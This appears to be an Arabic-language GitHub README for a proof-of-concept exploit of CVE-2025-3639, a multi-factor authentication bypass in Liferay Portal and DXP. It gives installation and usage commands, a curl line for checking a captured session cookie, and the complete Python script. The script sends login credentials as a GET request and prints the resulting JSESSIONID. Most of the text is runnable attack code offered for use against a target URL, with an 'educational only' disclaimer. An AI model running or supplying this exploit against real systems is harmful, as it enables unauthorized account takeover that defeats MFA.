
ثغرة تجاوز تسجيل الدخول في Liferay Portal (الإصدارات 7.3.0–7.4.3.132) وLiferay DXP (إصدارات مختلفة من 2024.Q1 إلى 2025.Q1.6)
يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة CVE-2025-3639، وهي ثغرة لتجاوز تسجيل الدخول في Liferay Portal (الإصدارات 7.3.0–7.4.3.132) وLiferay DXP (إصدارات متعددة من 2024.Q1 إلى 2025.Q1.6). يُظهر الإثبات كيف يمكن لمستخدم غير مصادق مع بيانات اعتماد صالحة تجاوز المصادقة متعددة العوامل (MFA) عن طريق تعديل طلب POST إلى طلب GET، مما قد يسمح بالوصول غير المصرح به إلى حسابات المستخدمين.
تحذير: إثبات المفهوم هذا هو لأغراض تعليمية فقط. الاختبار أو الاستغلال غير المصرح به لهذه الثغرة غير قانوني وغير أخلاقي. استخدمه فقط بإذن كتابي صريح من مالك النظام.
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
استنساخ المستودع:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
تأكد من تثبيت Python 3 ومكتبة requests:
pip3 install requests
شغّل البرنامج النصي للإثبات مع الوسائط المناسبة (استبدل <target_url> و <username> و <password> بعنوان URL لمثيل Liferay الهدف وبيانات اعتماد صالحة).
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: عنوان URL لمثيل Liferay Portal/DXP (مثل http://example.com).--username: اسم مستخدم صالح للمثيل الهدف.--password: كلمة مرور صالحة لاسم المستخدم.python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
النجاح: إذا نجح الاستغلال، سيعيد البرنامج النصي رمز جلسة صالحًا أو رسالة نجاح تشير إلى الوصول إلى حساب المستخدم دون MFA.
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
الفشل: إذا أعاد الخادم خطأ (مثل 401 Unauthorized أو 403 Forbidden)، فقد لا يكون المثيل عرضة للثغرة، أو لم تكن MFA ممكّنة.
مراقبة حركة المرور: استخدم أداة مثل Wireshark لفحص حركة HTTP:
sudo wireshark -f "tcp port 80 or tcp port 443"
فيما يلي نموذج الكود لـ poc.py:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
هذا المشروع لأغراض تعليمية فقط. المؤلف غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني لهذا الإثبات. احصل دائمًا على إذن صريح من مالك النظام قبل الاختبار.